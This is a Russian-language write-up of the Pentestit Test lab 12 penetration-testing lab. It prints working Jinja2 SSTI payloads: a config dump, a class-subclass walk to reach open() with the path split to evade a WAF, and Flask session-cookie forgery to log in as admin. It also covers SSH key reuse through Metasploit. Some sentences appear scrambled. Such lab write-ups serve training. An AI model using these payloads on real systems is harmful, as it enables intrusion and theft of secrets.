Это необходимо для того, чтобы знать с каким окружением (переменные, функции, константы и т. Осталось определить шаблонизатор, который используется на сервере. Это можно легко сделать по следующей схеме. п.) работать.

image

Поэтому отправляем следующий запрос: {{7*“7“}}. Уже знаем, что это Jinja2 или Twig. Это питоновский шаблонизатор Jinja2, что легко подтверждается запросом {{self}}. Получаем положительный ответ.

image

image

Там находим секретный ключ, который и является токеном. Просмотрим конфигурации: {{config}}.

image

API token

Из документации узнаем, что jinja2 формирует куки в зависимоти от секретного ключа сервера. Для эксплуатации уязвимости нам понадобится скрипт flask-session-cookie-manager. Нам нужно проверить подойдет ли этот секретный ключ. Для этого нам нужно попытаться расшифровать на нем сессию пользователя info. Куки свободно расшифровывается.

image

Для этого необходимо также сгенерировать куки. Зная формат куки, мы теперь можем войти под любым пользователем. Меняем дату, пока не совпадет начало среднего блока. После долгих неудач, заметил корреляцию среднего блока и системного времени. Генерировал пользователей token и sviridov, но это ничего не дает, поэтому решил сгенерировавать для admin. Дошел до 2060 года. После успешной подмены куки получаем какие-то секретные ключи пользователей, для чего они так и не понял.

image

Дело в том, что мы можем оперировать только подгруженным на сервере модулям и функциям из них. Дальше уходит три дня для поиска RCE (удаленное выполнение кода) через SSTI. Это сделаем через flask-cookie.
Для начала узнаем каке функции есть.

{{"".__class__.__mro__[1].__subclasses__()}}

Вставляем в куки, обновляем страницу и видим, что вместо имени пользователя отобразились все загруженные классы python на сервере. Среди них есть Popen, что позволит нам читать файлы на сервере.

image

image

К классу мы будем обращаться по индексу (у popen это 94). Теперь осталось прочитать файл по пути /var/www/api/token. B нем мы вызовем функцию open, чтобы открыть файл (путь к файлу разобьем, иначе WAF фильтрует) и прочитаем функцией read().

{{[].__class__.__base__.__subclasses__(+)[94].__init__.__globals__['__builtins__']['open']('/var/www'+'/api/token','rb').read(+)}}

В качестве вывода получим файл в виде набора байт, которые скопируем, откроем интерпретатор python и вставим в качестве строки. Далее эту строку запишем в файл. Просмотрим тип файла в утилите file. Это *tar.gz архив. Открываем и забираем токен.

Изображения

Admin token

Осталось последнее задание. В архиве хранится ключ для подключения по ssh. Из анализа SIEM можно узнать, на какой хост подключаться.

image

Далее подключаемся, но нам сообщают, что доступ закрыт и ошибка в ключе. Первым делом необходимо настроить права доступа на ключ, так как при подключении это проверяется (должно быть 600).

image

Для этого нам необходима аутентификационная информация, который мы приняли при установлении соединения и SHA хеш, который можно взять в SIEM. При просмотре формата ключа, замечаем что его содержимое не соответствует полному файлу.

image

Старый и новый сертификаты

image

Но теперь при попытке подключиться, под Свиридовым (он же админ), нам говорят, что ключ не подходит. Нужно перебрать всех пользователей, которых мы уже имеем.

image

И как видим, это ключ пользователя sidorov. Для тестирования ключа и пользователей используем модуль metasploit framework – scanner/ssh/ssh_login_pubkey.

image

Найдем в файловой системе token.

find | grep token

Дальше проверяем права и сдаем токен.

image

Заключение

Вот и пройдена пентест-лаборатория «Pentestit Test lab 12».

image

Надеюсь данная статья поможет кому-то узнать и открыть для себя что-то новое, а кому-то напомнит тот момент, когда он сам проходил данную лабораторию от токена к токену. Хочется сказать большое спасибо организаторам данной лаборатории, но некоторые задания были больше для CTF нежели для тестирования на проникновения. Теперь ждем 13-ю…

Показать больше

Похожие публикации

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»